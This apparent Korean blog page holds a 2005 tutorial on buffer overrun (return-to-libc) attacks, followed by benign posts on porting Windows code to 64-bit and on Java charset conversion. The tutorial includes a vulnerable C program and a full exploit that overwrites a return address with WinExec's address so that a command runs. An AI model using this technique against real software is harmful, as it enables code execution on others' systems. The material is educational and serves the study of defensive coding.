반응형


2005년에 제가 작성했던 글입니다. 


요 약

대부분의 운영체제 및 어플리케이션의 해킹 방법 중 하나인 버퍼 오버플로우와 변종 형태인 버퍼 오버런에 대하여 원인을 분석하고 이해할 수 있도록 설명한다.

18, Aug, 2005

Written by 크레이지제이

 I. 서론

버퍼오버플로우 기법은 1988는 Robert Morris fingerd attack으로 알려지기 시작해 악의적인 목적을 가진 침입 방법으로 가장 많이 사용되고 있다.

Overflow는 Stack Overflow, Frame pointer overflow, Format string overflow, Heap overflow 등으로 구분되어진다.

그러나, 여기서 설명하고자 하는 Buffer overrun은 Buffer overflow와는 약간 차이점이 있다.

과거 인터넷 대란을 일으켰던 SQL slammer 웜의 경우가 바로 버퍼오버런 공격 형태에 해당된다.

 

II. 버퍼오버플로우 vs. 버퍼오버런

 

Buffer overflow는 특정 영역(스택, 힙, 데이터 영역 등)을 오버플로우 시켜서 프로그램의 정상적인 의도를 벗어나 예외 상황을 만듦으로 인해서 주소 변경이나 데이터 변경을 통해 쉘코드의 수행이나 특정 오동작을 일으키는 방법으로 공격이 수행되는 코드는 스택이나 힙, 데이터 영역드에 추가되어 수행되지만, Buffer overrun은 버퍼를 오버플로우 시키는 과정은 동일하지만, 공격 수행 코드가 코드 영역에 정상적으로 존재한다는 점에서 일반적인 버퍼 오버플로우 방지 기능으로 탐지 및 방어가 되지 않는다는 점을 들 수 있다.

일반적으로 버퍼오버플로우의 탐지 및 방어 메커니즘은 IP(instruction pointer)가 스택이나 힙등의 영역을 가리키는 경우 비정상적인 코드 수행으로 판단하여 이를 방지하는 방법이다.

그러나 버퍼오버런의 경우 리턴 주소를 변경시켜서 스택을 적절히 원하는 데이터로 조작하고 정상적인 동적 라이브러리의 API를 호출하게 함으로써 공격 코드가 코드 영역에서 발생하여 탐지가 되지 않는다.

 

III. 버퍼 오버런 공격 과정

 

1. 피공격 프로그램

 

#include <stdio.h>

 

int main(int argc, char* argv[])

{

char buffer[256]=""

FILE *fd = NULL

fd = fopen("file.txt", "rb")

if ( fd==NULL )

return printf("Couldn't open file file.txt\n")

fgets(buffer, 1000, fd)

fclose(fd)

return 0

}

 

위 프로그램은 file.txt 라는 데이터를 읽어들이는 프로그램이다. 일반적으로 stdin으로 입력받는 프로그램의 경우는 file.txt 파일의 내용을 stdin으로 보내면 동일한 효과가 나타난다.

여기서 취약한 코드가 되는 부분은 버퍼의 크기보다 읽어들인 버퍼가 더 커서 오버플로우가 발생할 가능성이 있다는 것이다.

공격을 쉽게 하기 위해서 위의 프로그램을 디버그 모드로 돌려서 buffer 주소를 알아둔다.

VC에서 디버그 모드로 buffer의 주소를 출력해본 결과 0x0012fe80 이었다.

이를 이용하여 간단한 버퍼 오버런 공격 프로그램을 작성해 보자.


 

2. 공격 프로그램

 

#include <windows.h>

#include <stdio.h>

 

char buffer[500]="cmd /c notepad &AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAABBBBBBCCCC"

int main(int argc, char* argv[])

{

charsraddress[8]={0,}

charpadding[8]="\x90\x90\x90\x90"

charpointer_to_command[8]="\x80\xFE\x12\x00"

FILE*fd = NULL

intfunc

fd = fopen("file.txt", "w+")

func=(int)(void*)WinExec

memcpy(sraddress, &func, 4)

memcpy(buffer+260, sraddress, 4)

memcpy(buffer+264, padding, 4)

memcpy(buffer+270, pointer_to_command, 4)

fprintf(fd, "%s", buffer)

fclose(fd)

printf("WinExec=%p\n", WinExec)

return 0

}

 

위의 공격 프로그램은 피 공격 프로그램이 읽어들일 버퍼를 파일로 생성하는 과정을 수행한다.

공격이 성공하면 피공격 프로그램 실행시 노트패드 프로그램이 실행되는 결과가 나타날 것이다.

일단 공격이 수행되는 과정을 분석해 보자.

피 공격 프로그램에서 눈여겨 보아야 할 것은 버퍼의 크기가 256바이트로써 오버플로우가 발생되면 스택의 어느 영역을 침범하는지를 알아야 한다.

 

피 공격 프로그램의 스택은 다음과 같이 구성된다.


파라미터(역순으로), 리턴 주소, 이전 모듈의 frame pointer, 마지막으로 로컬 변수가 스택에 차례로 쌓인다. Buffer가 256바이트가 넘어가면서부터는 ebp, ret 등 순서로 덮어쓰게 되는 것이다.

즉, ret 부분을 우리가 원하는 주소로 변경하게 되면 해당 주소의 코드가 수행이 될 것이다.

ret 주소는 buffer+256+4의 위치가 된다.

 

공격 프로그램에서는 위의 주소에 WinExec 함수의 주소를 입력하게 할 것이며, WinExec의 파라미터로 "cmd /c notepad" 스트링이 입력되게 할 것이다.

 

따라서 공격 프로그램에서 buffer+260 위치에 WinExec 함수의 주소를 입력하였음을 알 수 있다.

또한 그 이후, padding 4바이트와 pointer to command 4바이트(피공격 프로그램에서의 buffer 주소=0x0012fe80)를 입력하였다.

- fgets함수 호출 전 상황


- fgets 호출 이후,


위 그림에서 첫 번째 박스는 Buffer+260위치인 ret address 자리에 WinExec 함수의 주소인 0x7c86114d를 세팅하였다. (원래는 0x004015cc로 mainCTRStartup 모듈의 주소였다.)

WINBASEAPI UINT WINAPI WinExec ( LPCSTR lpCmdLine, UINT uCmdShow ) 함수의 파라미터로 uCmdShow와 lpCmdLine 주소가 세팅된 스택 상황을 연출하는 작업을 해야 한다.

main 함수는 cdecl이므로 스택정리를 main내에서 수행하지 않는다.



따라서 function epilogue 과정인 mov esp, ebp; pop ebp 과정을 수행한 다음 리턴을 하게 되는데, 리턴주소였던 영역이 pop되면서 sp가 감소하고 WinExec 주소로 이동하게 된다. WinExec에서는 function prologue 과정인 push ebp; mov ebp, esp을 수행한다. 이 상태의 스택 상황은 다음과 같다.


ebp의 값이 0x12ff84로 새로운 esp와 동일하다.(0x43434343은 saved ebp가 된다.)

ebp+4에 0x909090은 ret address가 된다.

ebp+8부터는 WinExec의 파라미터가 된다. lpCmdLine의 값이 0x0012fe80이 되며, uCmdShow의 값은 0x00430d60이 된다.

즉, WinExec의 lpCmdLine에 원하는 커맨드("cmd /c notepad & ...")를 설정하게 되었으므로, main의 리턴으로 WinExec의 모듈에 해당 버퍼가 들어감으로써 노트패드 프로그램이 수행이 된다.


 

 

V. 결론

이제까지 버퍼오버런의 공격 과정을 알아보았다. 일반 버퍼오버플로우와 다르게 커널에 상주한 동적 라이브러리인 WinExec 함수가 호출되어 코드 영역에서 수행되는 점에서 일반 다른 버퍼 오버플로우의 스택에서 수행되는 방식과는 다르게 다른 프로그램을 수행할 수 있는 가능성을 보여준 예이다.

안전한 코딩을 위해서는 항상 버퍼 사이즈 체크를 하며, 기타 컴파일러 옵션에 따른 스택 보호 기술등을 이용해야 할 것이다.

 






'Security' 카테고리의 다른 글

openssl 커맨드 / 암호화  (0) 2018.03.02
DLKM 방식의 후킹 모듈 보호 메커니즘  (1) 2015.06.07
해시(Hash)  (1) 2015.06.02
반응형

제가 2004년도에 윈도우 64비트 프로그래밍을 시작할 때 작성했던 글인데, 우연히 발견하게 되어서 올립니다.

요 약

윈도우즈 운영체제가 32비트에서 64비트로 확장함에 따라 처리 속도 및 효율성 측면에서 성능이 많이 좋아졌다. 그러나, 그 성능을 제대로 발휘하기 위해 대부분 기존의 32비트 프로그램을 64비트로 포팅해야 한다. 그러나 주소 지정 방식이 과거 32비트에서 64비트로 확장됨에 따라 포팅시 고려해야 할 사항들을 정확히 알아야지만, 성공적으로 진행할 수 있을 것이다. 여기서는 윈도우 운영체제의 과거 32비트에서 64비트 플랫폼으로 마이그레이션할 수 있는 포팅 테크닉을 소개한다.

27, Feb, 2004

Written by 크레이지제이

I. 서론

윈도우즈 64비트 운영체제는 개발은 몇 년 전에 되었지만, 아직 베타 테스트 중이다. 앞으로 상용화가 얼마나 잘 이루어질지 모르지만, 사용하는 곳이 많아진다면 소프트웨어나 하드웨어 관련 업체는 모두 적지 않은 영향을 받을 것이다.

64비트 운영체제에서 기존의 32비트 어플리케이션을 지원한다고는 하지만 32비트 레이어를 통해서 내부적으로 64비트 연산 작업이 이루어지기 때문에 속도가 저하될 가능성이 크다. (즉, 주소 자동 변환 과정을 한 번 더 통과해야 한다.) 따라서 64비트 어플리케이션으로 포팅을 하면 별도의 레이어를 통하지 않고, 바로 명령이 수행되기 때문에 높은 성능을 발휘할 것이다.

본 페이퍼에서는 32비트 윈도우 어플리케이션 및 디바이스 드라이버를 64비트로 포팅하기 위한 테크닉 및 Know-How를 기술하는데, 주된 목적은 어떻게 하면 보다 기존의 소스를 그대로 유지하여 32비트, 64비트를 모두 지원하는 방면을 찾는 것이다. 이로 하여금 개발자들의 소스 관리를 편하게 하여, 버그의 발생을 줄일 수 있으며 형상 관리에도 도울을 줄 수 있을 것이다.

II. 윈도우 64비트 운영체제

마이크로소프트에서 현재 64비트를 지원하는 운영체제는 Windows 2003 Enterprise Edition 64-bit, Windows 2003 Datacenter Edition 64-bit, Windows XP 64-bit 가 있다. 아직 국내에는 제대로된 64비트 윈도우 운영체제가 출시되지는 않았다.

윈도우즈 32비트 운영체제에서는 4기가까지의 물리적인 메모리를 지원하나 64비트 운영체제에서는 16 테라 바이트까지 지원할 수 있다. 이로 인해 어플리케이션은 다음과 같은 장점이 생긴다.

메모리 확장으로 인해 어플리케이션에서 더 많은 사용자를 지원할 수 있으며, 보다 높은 성능을 내고, 데이터를 저장 또는 가공 시 더 많은 메모리를 할당할 수 있어 DiskIO가 적게 발생한다.

 

 

III. 64비트 포팅시 주의 사항

64비트 포팅을 위해서는 새로운 데이터 타입이나 Helper 함수들을 사용하기 위해 Platform SDK를 설치해야 한다. Visual Studio 개발도구나 Makefile에서는 Include 디렉토리의 우선 순위를 일반 VC의 include보다 Platform SDK의 include가 높게 해야 한다. (같은 헤더 파일명이 존재할 시, 먼저 참조되도록 해야 한다.)

다음은 32비트 프로그래밍과 64비트 프로그래밍을 하는 경우에 자료구조나 프로그램 구조의 변화나 고려해야될 사항들을 설명하였다.

 

1. 데이터 타입

 

- 과거 데이터 타입 ; 대부분은 변하지 않았으나, 포인터 타입이 64비트로 확장되었다.

* 사이즈가 변경되지 않은 데이터 타입

- char/uchar=8bit, short/ushort=16bits,

- long/ulong=32bits

- LONG과 ULONG = (32 bits)

- INT, UINT, DWORD = (32bits)

- LONGLONG, ULONGLONG = (64bits)

 

* 사이즈가 변경된 데이터 타입

- pointer(char*, PDEVICE_OBJECT... ) = 32bits에서 64bits로 확장되었다.

 

- 새로운 데이터 타입 ; ULONG_PTR, LONG_PTR 타입은 32비트 컴파일러로 컴파일하면 32비트 사이즈로 인식되며, 64비트 컴파일러로 컴파일하면 64비트 사이즈로 인식된다.

 

- 다른 64비트 윈도우 플랫폼과는 달리 AMD64에서는 자료 구조의 "natural" alignment의 실패 (즉, ULONG은 32bit boundary, ULONGLONG은 64비트 boundary로 align하지 못한다.) 가 침형적 에러를 발생시키지 않는다. -> 따라서 이점을 유의하지 않으면, AMD64에서 죽지 않던 것이 다른 곳에서는 블루 스크린을 띄울 수 있다.

 

- 포인터의 정상 사용은 걱정할 필요 없다. 운영체제에 따라 32비트 또는 64비트로 자동으로 인식되기 때문이다.

 

2. 파라미터

 

- 파라미터로 패싱되는 포인터의 자동 인식 ; 32비트 어플리케이션에 의한 포인터 파라미터가 자동으로 64비트로 변경되어 처리된다.

예를 들어 32비트 또는 64비트 어플리케이션에 의한 함수 호출에 관계없이 드라이버에서는 Irp-> UserData 포인터가 64비트로 자동으로 인식될 것이다.

 

3. 버퍼 내 포인터

 

- IOCTL Buffers에 임베디드된 포인터 ;

몇 몇 드라이버들은 주의해야 될 사항이다. IOCTL 버퍼에 포인터가 포함되어 있는 경우, 드라이버는 호출자가 32비트 또는 64비트 어플리케이션 중 어떤 것인지 주의해야만 한다. IOCTL_IN_BUFFER과 OUT_ BUFFER를 가리키는 포인터는 윈도우에 의해 자동으로 변환된다. 그러나, 이 버퍼의 내용에 포인터를 포함하고 있다면, 포팅시 32비트 포인터를 64비트 사이즈로 확장해 주어야 한다.

 

4. 기타

- In-Line Assembler, MMX, 3DNow, and X87 FP 명령어는 지원하지 않는다!!! embedded assembler, MMX, 3DNow, X87 floating pointer는 쓰지 말아라. 다행히 SSE, SSE/2 명령어는 지원한다.

 

간단히 쉽게 정리하자면, 임베디드 어셈블러를 사용하지 말고, IOCTL 버퍼 내에 포인터를 사용하지 않고,(사용하면 64비트로 확장) ULONG을 ULONG_PTR 타입으로 변경(포인터와 관련있다면)하고 컴파일한다.

 

IV. 64비트 포팅 적용

1. 적절한 데이터 타입

 

- 자료 구조에서 포인터를 명시적으로 ULONG타입으로 캐스트하는 경우이다. 컴파일러에 따라 포인터의 사이즈가 달라지기 때문이다. 따라서 이 부분은 ULONG_PTR 타입으로 바꿔주어야 한다.

 

ULONG currentMdl ;

ULONG MdlPointers[10] ;

devExt->MdlPointers[currentMdl++] =

(ULONG) Irp->MdlAddress ;

 

위의 코드는 64비트에서는 작동하지 않는다. 다음과 같이 수정하면 32비트, 64비트가 컴파일러에 따라 모두 적절히 작동된다.

ULONG_PTR MdlPointers[10] ;

devExt->MdlPointers[currentMdl++] =

(ULONG_PTR) Irp->MdlAddress ;

또는

PMDL MdlPointers[10] ;

devExt->MdlPointers[currentMdl++] = (PMDL)

Irp->MdlAddress ;

- Align pointer precision 자료 구조

 

강제로 alignment를 변경하는 pragma는 편할 수 도 있지만 꼭 필요한 경우가 아니면 쓰지 말자.

// #pragma pack(4) // 4 바이트 단위로 정렬

ULONG ulTest ;

ULONG_PTR pTest ;

// #pragma pack() // 해제 (디폴트 단위로..., natural boundary)

구조체에서 필드들의 사이즈는 alignment 단위로 맞춰지기 때문에 자신도 모르게 dummy 메모리가 할당이 된다.

위의 구조체의 크기는 64비트 컴파일러에서 8 byte단위로 alignment가 맞춰지기 때문에 16바이트가 할당이 된다. (32비트 컴파일러에서도 ULONG_PTR대신 64비트 자료형을 써주면 최대 크기인 8바이트 단위로 alignment가 설정된다.) ulTest뒤에 4바이트의 메모리가 더미로 존재하고 8바이트의 pTest가 할당이 되기 때문이다. 강제로 alignment를 4바이트로 설정하는 pragma pack(4) 를 적용하면 12바이트가 되는 것이다.

따라서 명시적으로 dummy 필드를 써 주는 것이 나중을 위해서 좋다. 다음과 같이 구조체 필드를 만들어 확실히 16바이트라는 것을 인지한다.

ULONG ulTest ;

ULONG dummy0; // dummy 추가

ULONG_PTR pTest ;

 

2. The Pointer in DataBuffer

 

전에 설명했던 것과 같이, 64비트 윈도우는 파라미터로 패싱된 포인터를 32비트에서 64비트로 자동 변환한다. 그러나, 전달된 드라이버의 자료구조의 데이터 버퍼 안에 포인터가 존재한다면 어떻게 다뤄야 하는가?

그러한 예는 다음과 같다.

typedef struct _myBuffer {

ULONG Count ;

PUCHAR SecondaryBuffer ;

ULONG SecondaryBufferSize ;

UCHAR Buffer[BUF_SIZE] ;

} MY_BUFFER, *PMY_BUFFER ;

 

32비트 어플리케이션에서 다음과 같은 코드로 작성하였다.

MY_BUFFER buf ;

buf.Count = CharPassed ;

StringCchCopy(buf.Buffer, BUF_SIZE, DataSource, buf.Count) ;

buf.SecondaryBufferSize = OtherBufferSize ;

buf.SecondaryBuffer = PointerToOtherBuffer ;

worked = DeviceIOControl(hDev,

IOCTL_MYDRV_SEND_BUFFER, &buf,

sizeof(MY_BUFFER), NULL, 0,

&byteReturned, NULL) ;

64비트로 포팅하려면 어떻게 해야될 것이다.

 

+ 방법 1

&buf는 자동으로 64비트로 자동으로 인식될 것이다. (thunk buf 포인터 자동 변환)

그러나, 윈도우는 호출자의 IN_BUFFER안에 포인터가 포함되어 있는 줄 모른다.

(SecondaryBuffer) 32비트 또는 64비트 어플리케이션에서 같은 IOCTL을 보낼 때, 버퍼의 적절한 길이와 포인터의 사이즈가 변한다.

어떻게 해결할까? -> 포인터를 없앤다.

typedef struct _myNEWBuffer {

ULONG Count ;

UCHAR Buffer[BUF_SIZE] ;

} MY_NEW_BUFFER, *PMY_NEW_BUFFER ;

secondary buffer는 OUT_BUFFER 파라미터를 이용하여 다음과 같이 할 수 있다.

MY_NEW_BUFFER buf ;

buf.Count = CharsPassed ;

StringCchCopy(buf.Buffer, BUF_SIZE, DataSource, buf.Count) ;

worked = DeviceIOControl(hDev,

IOCTL_MYDRV_SEND_BUFFER, &buf,

sizeof(MY_BUFFER), PointerToOtherBuffer,

OtherBufferSize, &byteReturned, NULL) ;

소스코드와 자료구조가 깨끗해졌다.

위의 방식은 32비트 어플리케이션이 32비트, 64비트 OS 모두 사용할 수 있다. (단, 어떠한 경우라도 드라이버는 32, 64비트용으로 각 각 만들어야 한다.)

 

물론 이러한 방법은 이런 IOCTL 코드를 쓰는 모든 어플리케이션에서 IOCTL 포맷을 새롭게 바꾸고, 모두 다시 컴파일해야 하는 단점이 있다.

 

+ 방법 2

OUT_BUFFER를 사용하지 않고, IN_BUFFER 내에 포인터를 포함시킬 수 있는 방법이다.

 

A 구조체

// Structure version used by all app (and for 64-bit app in Driver)

typedef struct _myBuffer {

ULONG Count ;

PUCHAR SecondaryBuffer ;

ULONG SecondaryBufferSize ;

UCHAR Buffer[BUF_SIZE] ;

} MY_BUFFER, *PMY_BUFFER ;

B 구조체

// Structure version used exclusively by driver when

// getting data from 32-bit apps.

typedef struct _myBuffer_32 {

ULONG Count ;

PUCHAR POINTER_32 SecondaryBuffer ;

ULONG SecondaryBufferSize ;

UCHAR Buffer[BUF_SIZE] ;

} MY_BUFFER_32, *PMY_BUFFER_32 ;

A 구조체는 원본(포팅 전)과 같다.

SecondaryBuffer 포인터가 구조체 내부에 숨겨진 형태로 32비트 어플리케이션에서는 OS에 관계없이 32비트, 64비트 어플리케이션은 64비트 포인터로 인식이 된다. 따라서 32비트용 어플리케이션과 32비트용 드라이버로 컴파일 하고, 64비트용 어플리케이션과 64비트용 드라이버로 컴파일하여 따로 사용할 수 있다.

따라서 운영체제의 커널 비트에 따른 어플리케이션이 별도로 존재해야 하는 단점이 있다.

 

B 구조체는 64비트 윈도우를 위해 만들어진 구조체로써 드라이버가 사용할 것이다. 그러나 32비트 어플리케이션과도 호환된다. 드라이버에서는 호출자가 32비트 어플리케이션 인지 64비트인지를 IoIs32bitProcess()를 통해 확인하여 결정한다.

case IOCTL_MYDRV_SEND_BUFFER:

#ifdef _WIN64

// if it's a 32-bit caller, we validate the size of the 32-bit structure

if (IoIs32bitProcess(Irp))

{

if (ios->Parameters.DeviceIoControl.InputBufferLength >= sizeof(MY_BUFFER_32) )

{..... }

} else

#endif

{

if (ios->Parameters.DeviceIOControl.InputBufferLength

>= sizeof(MY_BUFFER) )

{....}

}

이러한 방식은 32비트 어플리케이션을 위한 구조체를 따로 둠으로써, 64비트 드라이버에서 32, 64비트 어플리케이션을 모두 사용 가능하도록 한다. 그러나 구조체를 각각 관리해야하고, 드라이버에서 32비트를 포인터를 위한 처리를 따로 해 주어야 하는 단점이 있다.

 

3. Inline Assembler, etc...

 

여기서 별도로 다루지는 않겠다. 보다 자세한 정보를 원한다면, Hector가 쓴 OSR Online back in June. 기사를 보면 알 수 있을 것이다.

https://www.osronline.com/article.cfm?id=244

AMD64 컴파일러는 inline assembler code를 지원하지 않는다!!!

또한 윈도우 64비트의 커널모드에서는 MMX, 3DNow, X87 floating point를 지원하지 않는다. !!!

 

 

4. New 3 Class Data Types

 

64비트 프로그래밍을 위해 다음의 세가지 클래스 데이터 타입이 추가되었다.

 

+ Fixed Precision ; 데이터 타입의 사이즈가 고정 길이

DWORD32, DWORD64, INT32, INT64, LONG32, LONG64, UINT32, UINT64, ULONG32, ULONG64

 

+ Pointer Precision ; 포인터 연산을 할 때 사용하면 좋다. 32비트 또는 64비트 윈도우즈에 따라 사이즈가 바뀐다.

DWORD_PTR, HALF_PTR (포인터의 반 크기), INT_PTR, LONG_PTR, SIZE_T, SSIZE_T, UHALF_PTR, UINT_PTR, UINT_PTR, ULONG_PTR

 

+ Specific Pointer-Precision Types

포인터의 사이즈를 명시적으로 선언한다.

POINTER_32 ; 32비트 포인터. 32비트 윈도우에서는 native pointer이지만 64비트에서는 64비트 포인터를 반으로 자른 것이다.

POINTER_64 ; 64비트 포인터. 64비트 윈도우에서는 native pointer이다. 32비트에서는 32비트 포인터를 64비트로 확장시킨 것 임.

 

 

5. Helper Functions (basetsd.h)

 

+ Predefined Macro

_WIN64 ; 64비트 플랫폼

_WIN32 ; 32비트 플랫폼

_WIN16 ; 16비트 플랫폼

 

_M_IA64 ; 64비트 인텔 플랫폼

_M_IX86 ; 32비트 인텔 플랫폼

 

가능하면 위에 있는 _WIN64, _WIN32를 사용하고, 아키텍쳐와 관련된 것을 제외하고는 _M_IA64, _M_IX86 매크로를 쓰지 마라.

 

아래의 API들은 64비트 프로그래밍시 데이터 타입 형 변환에 도움을 준다. 그러나, 꼭 필요한 경우에만 사용해야 한다. 그렇지 않으면 컴파일시 경고나, 에러가 발생하지 않기 때문에 디버깅이 어려워질 수도 있다.

 

unsigned long HandleToUlong( const void *h )

long HandleToLong( const void *h )

void *LongToHandle( const long h )

unsigned long PtrToUlong( const void *p )

unsigned int PtrToUint( const void *p )

unsigned short PtrToUshort( const void *p )

long PtrToLong( const void *p )

int PtrToInt( const void *p )

short PtrToShort( const void *p )

void * IntToPtr( const int i )

void * UIntToPtr( const unsigned int ui )

void * LongToPtr( const long l )

void * ULongToPtr( const unsigned long ul )

 

 

6. 64비트 포인터 사용 규칙

 

- int, long, ULONG, DWORD로 포인터를 타입 캐스팅하면 안 된다.

이 경우 ULONG_PTR 타입을 사용한다.

HANDLE은 void*로 정의되어 있다. 따라서 ULONG으로 캐스팅하면 안 될 것이다.

 

- 필요한 경우 PtrToLong, PtrToUlong을 사용하여 포인터를 truncate시켜라. (helper function)

포인터를 32비트 값으로 자를 때 사용한다.(상위 32비트가 날라간다.) 편하지만 경고가 발생하지 않기 때문에, 디버깅하기가 어려우므로 조심히 사용해야한다.

 

- OUT 파라미터로 사용 시 주의해야 한다.

void func(OUT PULONG *PointerToUlong) ; 이런 함수가 있다고 가정하고...

ULONG ul ;

PULONG lp ;

func((PULONG *)&ul) ;

lp = (PULONG) ul ;

위와 같이 사용하는 경우, func의 두 번째 파라미터는 이중 포인터 타입이다. 64비트인 경우, *PointerToUlong (PULONG)도 64비트이므로 ul (ULONG)과는 사이즈가 다르다.

 

위의 코드를 아래와 같이 수정해야 한다.

PULONG lp ;

func(&lp) ;

- 다중 인터페이스를 조심해야 한다.

(polymorphic interfaces)

다양한 파라미터를 받기 위해 주소 값 또는 정수 등의 값을 DWORD 파라미터를 사용하였다면, UINT_PTR이나 PVOID로 바꿔라.

 

- 새로운 윈도우 클래스 함수를 사용하라.

GetClassLongPtr, GetWindowLongPtr,

SetClassLongPtr, SetWindowLongPtr

GWL_* 대신 GWLP_*를 사용하라.

(winuser.h)

SetWindowLong(hWnd, GWL_WNDPROC,

(LONG)MyWndProc) ;

위의 코드를 다음과 같이 수정하라.

SetWindowLongPtr(hWnd, GWLP_WNDPROC,

(LONG_PTR)MyWndProc) ;

- 모든 윈도우와 클래스 데이터에 접근시 FIELD_OFFSET을 사용하라.

두 번째 포인터가 항상 옵셋 4라고 생각하지 마라. 32비트에서만 유효하다.

 

- LPARAM, WPARAM, LRESULT 타입은 플랫폼에 따라 사이즈가 변하므로 주의해야 한다.

 

7. 기타 정보

 

- 64비트 어플리케이션은 유저 모드 주소 영역이 8테라 바이트이다. 그러나, 다음과 같은 조건의 프로그램은 유저 모드 주소를 2기가 이하에서만 작동하게 할 수 있다.

> 2기가 주소 영역이면 충분하다.

> 많은 pointer truncation 경고가 많다.

> 포인터와 정수형이 마구 섞여 쓰고 있다.

> 32비트 데이터 타입을 쓰는 polymorphism이 코드에 있다.

이러한 경우 아래와 같은 링커 옵션을 준다.

/LARGEADDRESSAWARE:NO

조심할 점은 DLL을 이 옵션으로 만들었다면, 이 DLL을 사용하는 모든 프로그램도 같은 옵션으로 만들어져야만 된다. (이 DLL이 주소를 32비트로 자르기 때문이다.)

 

- Process interoperability

 

64비트 윈도우에서 32비트 어플리케이션을 에뮬레이션 모드에서 돌릴 수 있다. 그러나, 64비트 프로세스는 32비트 DLL을 로드할 수 없다. 그 반대도 마찬가지다.

64비트와 32비트 프로세스 사이의 RPC 통신이 COM 서버를 이용하는 방법이 있긴 하다.

 

- Driver

드라이버를 64비트로 포팅할 경우 다음의 사항을 고려해야 한다.

> 4G 이상을 지원하고 싶다면, Mm64BitPh ysicalAddresses를 사용하여 64비트 주소가 필요한 경우 사용한다. 또한 DEVICE_DESCRIPTI ON 구조체의 Dma64BitAddresses 멤버를 설정하여 64비트 어드레싱을 할 수 있다.

> IO status block은 ULONG_PTR이다.

> IRP stack location은 ULONG_PTR이다.

 

 

- 64비트 프로그래밍 경고 및 에러

warning C4311: 'type cast' : pointer truncation from 'unsigned char *' to 'unsigned long' -> 이러한 에러는 다음과 같은 예에서 발생한다.

buffer = (PUCHAR)srbControl;

(ULONG)buffer += srbControl->HeaderLength;

위의 코드를 아래처럼 수정하라.

buffer = (PUCHAR)srbControl;

(ULONG_PTR)buffer += srbControl->HeaderLength;

- 64-bit Compiler Switches and Warnings

 

컴파일러가 LLP64 데이터 모델인 경우

LLP64로 포팅하는데 -Wp64 -W3 경고 옵션이 도움을 줄 것이다.

C4305: Truncation warning. For example, "return": truncation from "unsigned int64" to "long."

C4311: Truncation warning. For example, "type cast": pointer truncation from "int*_ptr64" to "int"

C4312: Conversion to bigger-size warning. For example, "type cast": conversion from "int" to "int*_ptr64" of greater size.

C4318: Passing zero length. For example, passing constant zero as the length to the memset function.

C4319: Not operator. For example, "~": zero extending "unsigned long" to "unsigned _int64" of greater size.

C4313: Calling the printf family of functions with conflicting conversion type specifiers and arguments. For example, "printf": "%p" in format string conflicts with argument 2 of type "_int64." Another example is the call printf("%x", pointer_value); this causes a truncation of the upper 32 bits. The correct call is printf("%p", pointer_value).

C4244: Same as the existing warning C4242. For example, "return": conversion from "_int64" to "unsigned int," possible loss of data.

 

 V. 결론

이로써 32비트 어플리케이션 및 드라이버를 64비트로 포팅하는데 있어서 주의해야 될 사항들과 어떻게 포팅해야 할 지에 대한 소스코드 예를 몇 가지 살펴보았다.

크게는 별로 변한 게 없는 듯(포인터 사이즈 하나가 변했다고) 하지만, 실제 소스 레벨로 가서 보면 발생할 수 있는 제 2, 제 3의 문제가 연쇄적으로 발생할 수 있음을 알 수 있다. 다른 프로그램과의 통신, 구조체의 사이즈 변형, 포인터 연산, Alignment 등 생각할 것도 많고, 소스코드를 32비트, 64비트 머신 모두에게 돌아갈 수 있도록 유지할 수 있게 고뇌해야할 것이다.



참 고

 

 

1. Rock On With 64-bit Windows -- Porting Windows Drivers To AMD64 ;

http://www.osronline.com/article.cfm?id=265

 

2. Platform SDK: 64-bit Windows Programming

http://www.msdn.microsoft.com/library/default.asp?url=/library/en-us/win64/win64/changing_an_existing_interface.asp

 

 

반응형


인코딩 변경을 하려고 보통 이렇게 하는데 이것은 잘못된 결과를 발생시킨다.

String strutf8 = new String(str.getBytes("utf-8"), "euc-kr") ;

getBytes는 지정된 charset의 byte array로 변환하는 것이고, String() constructor에서는 입력받은 데이터를 지정한 charset으로 인식하여 스트링을 만들겠다는 것이다. 즉, 원하는대로 charset 변경이 안 이루어진다.!!!!


타 시스템에서 다른 인코딩(euc-kr)을 사용하고 있는데 연동을 해야하는 일이 있었다. 부득이하게 charset 변경을 해야해서 바이너리값을 찍어서 직접 비교해봤다.

아래는 테스트 결과 성공.


+ UTF-8 -> euc-kr

//이클립스 환경설정의 인코딩 스타일이 UTF-8로 지정된 경우.
String utfstr = “한글인코딩" ;

Charset utf8charset = Charset.forName(
"UTF-8");
Charset iso88591charset = Charset.forName("euc-kr");
ByteBuffer inputBuffer = ByteBuffer.wrap(utfstr.getBytes());

// decode UTF-8
CharBuffer data = utf8charset.decode(inputBuffer);
// encode ISO-8559-1
ByteBuffer outputBuffer = iso88591charset.encode(data);
byte[] outputData = outputBuffer.array();

System.out.println("euckr?="+bytesToHex(outputData));

<끝>

final protected static char[] hexArray = "0123456789ABCDEF".toCharArray();
public static String bytesToHex(byte[] bytes) {
   
 char[] hexChars = new char[bytes.length * 2];
   
 for ( int j = 0; j < bytes.length; j++ ) {
       
 int v = bytes[j] & 0xFF;
        hexChars[j * 2] =
 hexArray[v >>> 4];
        hexChars[j * 2 + 1] =
 hexArray[v & 0x0F];
    }
   
 return new String(hexChars);
}



+ Recent posts